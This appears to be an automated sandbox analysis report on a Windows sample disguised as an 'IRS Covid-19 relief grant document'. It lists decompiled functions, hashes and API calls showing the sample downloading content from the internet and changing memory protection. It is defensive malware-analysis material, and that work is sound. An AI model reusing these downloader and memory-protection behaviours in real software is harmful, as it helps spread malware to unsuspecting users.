Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$#598ChkstkCopyFree
String ID:
API String ID: 978822778-0
Opcode ID: d21cfa84712bdc9812872146fd8bf8d018d840b70214ba3c2a016ae614f442c6
Instruction ID: df95e957a0fceb39c61247ea45c4d1d0983284cbd5d5d519de081d40738ac40c
Opcode Fuzzy Hash: d21cfa84712bdc9812872146fd8bf8d018d840b70214ba3c2a016ae614f442c6
Instruction Fuzzy Hash: 0FF05E30500208EBCB00EF95C886F8EBFB8EF04744F40806AF501B72B1D7789941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00411BDC, Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00411BDC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				void* _t7;
				intOrPtr _t17;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t17;
				_t7 = 0x14;
				L004012E0();
				_v12 = _t17;
				_v8 = 0x401270;
				L0040144E();
				L004013B8();
				_push(0x411c27);
				L00401448();
				return _t7;
			}

0x00411be1
0x00411bec
0x00411bed
0x00411bf6
0x00411bf7
0x00411bff
0x00411c02
0x00411c0f
0x00411c14
0x00411c19
0x00411c21
0x00411c26

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411BF7
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411C0F
#598.MSVBVM60(?,?,?,?,004012E6), ref: 00411C14
__vbaFreeVar.MSVBVM60(00411C27,?,?,?,?,004012E6), ref: 00411C21

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$#598ChkstkFree
String ID:
API String ID: 2394488138-0
Opcode ID: 1452a5860626adf826f15de5664947da8291ac914778c39fe86ee5a74f21c043
Instruction ID: 877abbc0fe10ad3c04586238327828354fcb52cca83e8762078b40c2eb6c3c81
Opcode Fuzzy Hash: 1452a5860626adf826f15de5664947da8291ac914778c39fe86ee5a74f21c043
Instruction Fuzzy Hash: DDE06571550308BBCB00EB92CC83F9ABBBCEB15B58F40446EB100B25B0E7BC2904C6A9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220 Parent PID: 4952 IRS_Covid_19_Relief_Grant_Document_docx.exeCOMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.9%
Total number of Nodes:	72
Total number of Limit Nodes:	3

Executed Functions

Function 00567FDD, Relevance: 2.2, APIs: 1, Instructions: 718
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 11b179ba527d54698712040d82fda540968b5eeeee09faaff41464ccdf72a4e7
Instruction ID: 19f247cfce45910f5faaf0ac50d750747cf3ba5d210ad94095b30ad2b6b44937
Opcode Fuzzy Hash: 11b179ba527d54698712040d82fda540968b5eeeee09faaff41464ccdf72a4e7
Instruction Fuzzy Hash: 85326A70604302EFEF218E24CC95BF57EA2BF52350F648729ED865B2D6CB758985DB02

Uniqueness

Uniqueness Score: -1.00%

Function 00568C48, Relevance: 1.6, APIs: 1, Instructions: 146
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 97bfe1d08575d83558eec65ebd0c81f7cdc67f2a5495a74456fa8bc77275a95a
Instruction ID: a1770dbc7264130019a78fd0ca7d4b5d86797d5e963eae696f1c306d70d8bb12
Opcode Fuzzy Hash: 97bfe1d08575d83558eec65ebd0c81f7cdc67f2a5495a74456fa8bc77275a95a
Instruction Fuzzy Hash: 74412330208602CEEF245925C9687B52EBABF6A360FB50F26CC97871D4D77588C4A743

Uniqueness

Uniqueness Score: -1.00%

Function 005670B5, Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0ed0df948b9702622dc82d854df8c7b6c6d9d27e673e0bf30148b3192d993d
Instruction ID: 0e2fc00c9d9359dfa3d5054d5fbb079db8081870216f12c82f178359a6f5cf67
Opcode Fuzzy Hash: 0e0ed0df948b9702622dc82d854df8c7b6c6d9d27e673e0bf30148b3192d993d
Instruction Fuzzy Hash: 2B312A3860C30AEFDF215A58CA647FA1E61BF5B758F744A26BC8387111D7248C86D703

Uniqueness

Uniqueness Score: -1.00%

Function 00568723, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056818C,00000040,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0056873C

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E2A966A

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 316c4ad7c60feb8648d93478b44194236b0f91e9d8d310acc5511db81268e589
Instruction ID: 4aba6a8080ac9f28fffa514b481f187143175a4b1d1c8b580af4c525e9da5c76
Opcode Fuzzy Hash: 316c4ad7c60feb8648d93478b44194236b0f91e9d8d310acc5511db81268e589
Instruction Fuzzy Hash: 6290027120100803D1C0716A441468E000597D1781FD1C125E0025614DCA559A5977E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E2A96EA

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5c2947f719a40d73189eb60a19002f624ea5288f20aa194b9006e050c02441fb
Instruction ID: 85daf03f0df1cff84c1e1f2c98014d7a22f5d6efbd00b590cde655fd235101b8
Opcode Fuzzy Hash: 5c2947f719a40d73189eb60a19002f624ea5288f20aa194b9006e050c02441fb
Instruction Fuzzy Hash: 5890027120108803D150616A841478E000597D0781F95C521E4424618DC6D598917162

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E2A986A

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aea258c10add58173968455284f2824fe5cb39811d63f3c0f7a6b751290e854d
Instruction ID: b349b1f38f97136268df4b7d2be574d5f48db764f08aa498a76ca2d4a025e584
Opcode Fuzzy Hash: aea258c10add58173968455284f2824fe5cb39811d63f3c0f7a6b751290e854d
Instruction Fuzzy Hash: E090027120100413D151616A451474B000997D06C1FD1C522E0424518DD6969952B162

Uniqueness

Uniqueness Score: -1.00%

Function 0056475F, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 183
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00565013,00000000,00000000,00000000,00000000), ref: 00564795
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

Strings

4, xrefs: 0056486C

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen
String ID: 4
API String ID: 2038078732-4088798008
Opcode ID: c22ec4ed175b60d540090816574aacd54e5723e76d7bccc703ec51efc9580f69
Instruction ID: 8a5e55bb1e956b69daf189a903a6900afbb54478e619ccca97c3b17afecc624e
Opcode Fuzzy Hash: c22ec4ed175b60d540090816574aacd54e5723e76d7bccc703ec51efc9580f69
Instruction Fuzzy Hash: 4751163028434AEEEF305E60CD55BFE3EA5FF41350F648A26BD47AB090D7348985AB16

Uniqueness

Uniqueness Score: -1.00%

Function 005647BA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

Strings

4, xrefs: 0056486C

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen
String ID: 4
API String ID: 2038078732-4088798008
Opcode ID: e91f8744403640706034f9796c1b5f7dafecf24a7a4c6eb6e72236e14e000024
Instruction ID: fc3fc205117fd10e0fce75b157a76f0d807c5bb2e694a373e4d679c3b76c1d8a
Opcode Fuzzy Hash: e91f8744403640706034f9796c1b5f7dafecf24a7a4c6eb6e72236e14e000024
Instruction Fuzzy Hash: 6F31F6302843C7DEFF318E64DC81BEA7EA4EF40340F14452AAE469B592E7709941EB12

Uniqueness

Uniqueness Score: -1.00%

Function 005647FA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

Strings

4, xrefs: 0056486C

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen
String ID: 4
API String ID: 2038078732-4088798008
Opcode ID: 710a7078e616c25deaba027d9c56f0bb67c2452e39d9290da4f8c640f3c6e841
Instruction ID: 74bb1e1d4fee845e828ad32107b58d279eb594b63b03162f679889739f24a864
Opcode Fuzzy Hash: 710a7078e616c25deaba027d9c56f0bb67c2452e39d9290da4f8c640f3c6e841
Instruction Fuzzy Hash: 262125302843C7DAEF318E74DC85BEE7FA8EF40340F14452AAE569B182E7709941EB12

Uniqueness

Uniqueness Score: -1.00%

Function 00564842, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

Strings

4, xrefs: 0056486C

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen
String ID: 4
API String ID: 2038078732-4088798008
Opcode ID: 8b3535cb7daf8713132d48801ba8a2c614e786806a385cd5f3cd8031a5852da2
Instruction ID: d9c4daf7b4e3abf13dea20a3867df692419a6c5edb83b951f68da1e45fc80ad6
Opcode Fuzzy Hash: 8b3535cb7daf8713132d48801ba8a2c614e786806a385cd5f3cd8031a5852da2
Instruction Fuzzy Hash: FB21E4302943C7DAEF31CE64DC85BEA7FA8EF40350F14462AAE569B192E7709541EB12

Uniqueness

Uniqueness Score: -1.00%

Function 00568CB1, Relevance: 1.7, APIs: 1, Instructions: 151
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 71e0ef39b4f4f64d8a02d3c6e9740edbff58babba154676d6c726dfc6cae9046
Instruction ID: 2ecf67cf690320b7dca21532fdb6a4f3a89e92312fe384b92fd3dbc1d03a9cf0
Opcode Fuzzy Hash: 71e0ef39b4f4f64d8a02d3c6e9740edbff58babba154676d6c726dfc6cae9046
Instruction Fuzzy Hash: DD41F130608282CEEF11563584A87B5BFB9BF66364FB94E5BC89383196D7714884E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568C4E, Relevance: 1.6, APIs: 1, Instructions: 149
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: d9978edf6019327d875d5eaf471e2774faffd569087ecd219f439e8cf60c41c3
Instruction ID: 20ac25f557f5c7f3a07e08c53d1d9a32d9150f13218fa81d1f65219c5c309e52
Opcode Fuzzy Hash: d9978edf6019327d875d5eaf471e2774faffd569087ecd219f439e8cf60c41c3
Instruction Fuzzy Hash: 66413630208602CEEF215925C4A87B5BEBABF66364FB90F5BC89783191D77148C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568C7D, Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df75d869e5743de4b3e62b5ce8248e11c07f4a9b882ae07f76d7cdec7b454dc3
Instruction ID: 9ed666c8fc3f31aadc2b6affaa8db34a4c69d95ac41933a48b0c4784789f90bf
Opcode Fuzzy Hash: df75d869e5743de4b3e62b5ce8248e11c07f4a9b882ae07f76d7cdec7b454dc3
Instruction Fuzzy Hash: CF413330208202CEEF215A21C5687B4BEBABF66364FB90E5BC89783191D77188C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00562E4A, Relevance: 1.6, APIs: 1, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 00562F0D

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 2de308772d9bbfa18b064557415d187d1419124b544f2ca51a12e21ee40c5792
Instruction ID: b42a2eda4b06e7113babcdb63d81d3d19766551e33e209b12e84ee6493b49340
Opcode Fuzzy Hash: 2de308772d9bbfa18b064557415d187d1419124b544f2ca51a12e21ee40c5792
Instruction Fuzzy Hash: 0D2124702443029FEB104A28CEE9BA93AB5BF16370F680655EE528B1E2D771C880CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00568D05, Relevance: 1.6, APIs: 1, Instructions: 133
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: ffb1ff2033c11af2134c4fe65eb21dfe032bce2cdb54eefa3c6a928aaedc6ce0
Instruction ID: c616d27ec71120f7b9f0ac3bd96bc281778823bb127137076b867b42a83bd945
Opcode Fuzzy Hash: ffb1ff2033c11af2134c4fe65eb21dfe032bce2cdb54eefa3c6a928aaedc6ce0
Instruction Fuzzy Hash: F7412330208243CEEF255A21C5687B5BEBABF66364FB90E5ACC9783195D7718884E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568D31, Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 5fcff5dd3520b6b410576aad6cbbee61ff97b320693a9610bfb38950cc79f4ed
Instruction ID: fb4866b969d93b7d56c356566adc6e494c1d3e79d5b0ee8861d11ba8ecafe4b4
Opcode Fuzzy Hash: 5fcff5dd3520b6b410576aad6cbbee61ff97b320693a9610bfb38950cc79f4ed
Instruction Fuzzy Hash: 35413730208243CEEF245A21C5687B5BEBABF66364FB94E5ACC9783191D77188C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568D5A, Relevance: 1.6, APIs: 1, Instructions: 126
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 78e2e93faee8cee26e8ed97515e9567640ad306b91509ce9c26330da0a759f2d
Instruction ID: 86c4226a43e5af3ba6f8f764877f54242da9c9fb2358b9af453b27a06ea2786a
Opcode Fuzzy Hash: 78e2e93faee8cee26e8ed97515e9567640ad306b91509ce9c26330da0a759f2d
Instruction Fuzzy Hash: 17413730208243CEEF145A21C5687B4BEB9BF66354FB90E5ACC9783191C77188C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568D8A, Relevance: 1.6, APIs: 1, Instructions: 122
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: c295a9d86344cf0a60986ddf5e85b8859e7fb3f15f13fdf583738f20e76cf40c
Instruction ID: f80407974d0d32d4150cffdcf7b51f613721092ec4be5626fe24c060b34a4507
Opcode Fuzzy Hash: c295a9d86344cf0a60986ddf5e85b8859e7fb3f15f13fdf583738f20e76cf40c
Instruction Fuzzy Hash: 0B411530208242CEEF21562589687B5BEB9BF66364FB94E5BCC9783195C37148C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568DB6, Relevance: 1.6, APIs: 1, Instructions: 119filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: d6367fe6781e6699af262038a57438703062fbb2dd8f691a52c4a7e9be69cbed
Instruction ID: 30ab2b1302f1d00d113a041882aae7a277079aae8a30b79e531b8b60e2b59506
Opcode Fuzzy Hash: d6367fe6781e6699af262038a57438703062fbb2dd8f691a52c4a7e9be69cbed
Instruction Fuzzy Hash: FF412530208243CEEF21562589587B4BEB9BF66364FB90E5BCC9783191C37188C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568DE6, Relevance: 1.6, APIs: 1, Instructions: 115filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 72352c79c2d4ce0bd71e03e7b8fa57ee57ccc728f2bd0f4ca08e0d4d93e9b1f0
Instruction ID: c2453a594b87ec41037615c1b06b3f78e924bf419d000c880ae4e4a5de946f19
Opcode Fuzzy Hash: 72352c79c2d4ce0bd71e03e7b8fa57ee57ccc728f2bd0f4ca08e0d4d93e9b1f0
Instruction Fuzzy Hash: 54311634608242DEEF20562589587B4BEBDBF66364FB94E5BCC9783191C37188C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568E45, Relevance: 1.6, APIs: 1, Instructions: 113filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: c4c0fc30b6c0d7cd2b2703be8fdb882b90ce89eb7bbdf75f346d61f44bb8183c
Instruction ID: 130c3ee6a1f235701650ebc978326ece6dc887e3e8e6595b125e2ce933983a63
Opcode Fuzzy Hash: c4c0fc30b6c0d7cd2b2703be8fdb882b90ce89eb7bbdf75f346d61f44bb8183c
Instruction Fuzzy Hash: 9D310734608342DEEF11562284687B4BFBDBF66364FA94E9BC897871A2D37148C4E743

Uniqueness

Uniqueness Score: -1.00%

Function 00568E15, Relevance: 1.6, APIs: 1, Instructions: 111filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 5214b1bf2bf5033652e6caee09a27e90af4283c09fcc9e3a539e3ce62657b65a
Instruction ID: c72eed786cf0a433be24c9c4ce4a1f8bbc7e495a0c6a36c1f6f57cf7468aec13
Opcode Fuzzy Hash: 5214b1bf2bf5033652e6caee09a27e90af4283c09fcc9e3a539e3ce62657b65a
Instruction Fuzzy Hash: CE312630608343CEEF11562584687B4BEB9BF66364FB90E5BC89783192D3B148C4E343

Uniqueness

Uniqueness Score: -1.00%

Function 0056462A, Relevance: 1.6, APIs: 1, Instructions: 108libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0056694E: LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Part of subcall function 0056475F: InternetOpenA.WININET(00565013,00000000,00000000,00000000,00000000), ref: 00564795
Part of subcall function 0056475F: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
API String ID: 1998099105-0
Opcode ID: 4749c4c8f08b1e6d1fbf015d09604a60b104b0858d0d81a5501c2df1dccf1343
Instruction ID: 0daf67951d6976089128704af9145982ac139277f03a191acc74373e820714cd
Opcode Fuzzy Hash: 4749c4c8f08b1e6d1fbf015d09604a60b104b0858d0d81a5501c2df1dccf1343
Instruction Fuzzy Hash: A8312C316593C68ECB22DB7488993C5BFA2BFA3314F98848FC8C14B117D7B05552D756

Uniqueness

Uniqueness Score: -1.00%

Function 00568E7A, Relevance: 1.6, APIs: 1, Instructions: 103filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 9f6ed79d91f66824eeff3ae53210c0d3e4f265e8d477debb6adceda726ffd843
Instruction ID: e9b01ce8aeb8b855b99455549e61759d0a689501497a362fa93fa0634395f4de
Opcode Fuzzy Hash: 9f6ed79d91f66824eeff3ae53210c0d3e4f265e8d477debb6adceda726ffd843
Instruction Fuzzy Hash: FB31E434208243DDEF25562685A87B4BEBDBF66364FB94E5BC897831A6C3B144C4E343

Uniqueness

Uniqueness Score: -1.00%

Function 00564619, Relevance: 1.6, APIs: 1, Instructions: 101libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0056694E: LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Part of subcall function 0056475F: InternetOpenA.WININET(00565013,00000000,00000000,00000000,00000000), ref: 00564795
Part of subcall function 0056475F: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
